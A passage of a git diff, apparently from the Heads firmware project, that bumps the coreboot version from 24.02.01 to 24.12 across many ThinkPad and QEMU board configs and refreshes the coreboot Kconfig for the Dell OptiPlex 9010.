CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1-prod.config diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index 12160387c..f7b69f464 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config index 9e9a9cba8..7c1be4b06 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config @@ -4,7 +4,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index b00843895..afa6dc66e 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -4,7 +4,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config diff --git a/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config b/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config index 3fe0d382b..be7fde7de 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 466814f67..9804ae8fb 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index ff6392fa1..c549b2686 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 5426da7d2..2d9edcea3 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -8,7 +8,7 @@ # Doesn't include (to fit in 7mb image) # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index e68535813..2f4a20548 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -7,7 +7,7 @@ # # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-maximized.config diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 7b6e72618..a4077491d 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -7,7 +7,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-maximized.config diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index 62bee8d37..d62731b7c 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a t530 without a dGPU. It will work just fine for a board with a dGPU, except you will not be able to use an external monitor via the mini-displayport or the dock's displayport, though external monitors will work via VGA ports. To initialize the dGPU please use one of the dgpu boards. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-maximized.config diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index 1c3e58c85..f7a5f4904 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a t530 without a dGPU. It will work just fine for a board with a dGPU, except you will not be able to use an external monitor via the mini-displayport or the dock's displayport, though external monitors will work via VGA ports. To initialize the dGPU please use one of the dgpu boards. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-maximized.config diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 4b8f2ff48..99e01ead5 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board ignores the in-built dGPU that comes with all w530's. In doing so the dGPU will not be initialized. This has some benefits in terms of reduced complexity in working with OS's with poor support for NVIDIA, better battery life and lower heat (making use of the thicker heatsink from a dGPU). Conversely, if you do not initialize the dGPU you will be unable to use an external monitor. To initialize the dGPU please use the dGPU boards that corresponds with the model of dGPU included with your device. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-maximized.config diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index 282e2a2bc..54133657d 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board ignores the in-built dGPU that comes with all w530's. In doing so the dGPU will not be initialized. This has some benefits in terms of reduced complexity in working with OS's with poor support for NVIDIA, better battery life and lower heat (making use of the thicker heatsink from a dGPU). Conversely, if you do not initialize the dGPU you will be unable to use an external monitor. To initialize the dGPU please use the dGPU boards that corresponds with the model of dGPU included with your device. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-maximized.config diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index ff2a0cc8d..5a6626114 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 3053aad1b..60e56204a 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index 6052d5142..8e5db63c0 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -19,7 +19,7 @@ # # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized-fhd_edp.config diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index 8d9a17120..1c64b813c 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -7,7 +7,7 @@ # # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index cd88741c1..2f020057c 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -9,7 +9,7 @@ # Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # USB Keyboard support export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index 6d50c67f8..99cec7f40 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -19,7 +19,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized-fhd_edp.config diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 41d1f2e99..fb11f4a6b 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -7,7 +7,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index f958a4e0f..dba9a8da6 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -25,7 +25,7 @@ CONFIG_LINUX_CONFIG=config/linux-c216.config CONFIG_COREBOOT_CONFIG=config/coreboot-z220-cmt.config export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_CRYPTSETUP2=y diff --git a/config/coreboot-optiplex-7019_9010-maximized.config b/config/coreboot-optiplex-7019_9010-maximized.config index 97d009721..73963c3c2 100644 --- a/config/coreboot-optiplex-7019_9010-maximized.config +++ b/config/coreboot-optiplex-7019_9010-maximized.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -39,7 +38,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -57,10 +55,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -69,22 +68,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set CONFIG_VENDOR_DELL=y # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -95,6 +100,7 @@ CONFIG_VENDOR_DELL=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -105,7 +111,9 @@ CONFIG_VENDOR_DELL=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_MAINBOARD_PART_NUMBER="OptiPlex 9010" CONFIG_MAINBOARD_VERSION="1.0" CONFIG_MAINBOARD_DIR="dell/snb_ivb_workstations" @@ -123,30 +131,52 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_POST_DEVICE=y CONFIG_POST_IO=y -CONFIG_DEVICETREE="variants/baseboard/devicetree.cb" -# CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="optiplex_9010_sff" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_DEVICETREE="variants/baseboard/devicetree.cb" +# CONFIG_VBOOT is not set # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Dell Inc." CONFIG_DRAM_RESET_GATE_GPIO=60 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="OptiPlex 9010" +# CONFIG_CONSOLE_POST is not set CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -# CONFIG_CONSOLE_POST is not set CONFIG_TPM_PIRQ=0x0 # CONFIG_BOARD_DELL_E6400 is not set +# CONFIG_BOARD_DELL_LATITUDE_E7240 is not set +# CONFIG_BOARD_DELL_OPTIPLEX_3050 is not set +# CONFIG_BOARD_DELL_OPTIPLEX_9020_SFF is not set +# CONFIG_BOARD_DELL_OPTIPLEX_9020_MT is not set +# CONFIG_BOARD_DELL_LATITUDE_E5420 is not set +# CONFIG_BOARD_DELL_LATITUDE_E5520 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6220 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6320 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6420 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6520 is not set +# CONFIG_BOARD_DELL_LATITUDE_E5530 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6230 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6330 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6430 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6530 is not set CONFIG_BOARD_DELL_OPTIPLEX_9010=y # CONFIG_BOARD_DELL_PRECISION_T1650 is not set +# CONFIG_BOARD_DELL_XPS_8300 is not set CONFIG_BOARD_DELL_SNB_IVB_WORKSTATIONS=y CONFIG_INCLUDE_SMSC_SCH5545_EC_FW=y CONFIG_SMSC_SCH5545_EC_FW_FILE="@BLOB_DIR@/xx30/sch5545_ecfw.bin" -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -165,7 +195,6 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="OptiPlex 9010" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 @@ -174,13 +203,14 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -# CONFIG_PCIEXP_CLK_PM is not set CONFIG_GFX_GMA_PANEL_1_ON_EDP=y CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_12288=y @@ -222,7 +252,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 @@ -242,6 +272,7 @@ CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -265,6 +296,7 @@ CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_TSEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -288,6 +320,11 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set CONFIG_RAMINIT_ENABLE_ECC=y +CONFIG_IGD_DEFAULT_UMA_SIZE_32MB=y +# CONFIG_IGD_DEFAULT_UMA_SIZE_64MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_96MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_128MB is not set +CONFIG_IGD_DEFAULT_UMA_INDEX=0 # # Southbridge @@ -343,6 +380,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -350,7 +388,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y @@ -365,6 +403,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -385,6 +427,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -419,6 +462,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -489,15 +533,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -534,7 +578,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -588,6 +631,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -598,10 +642,8 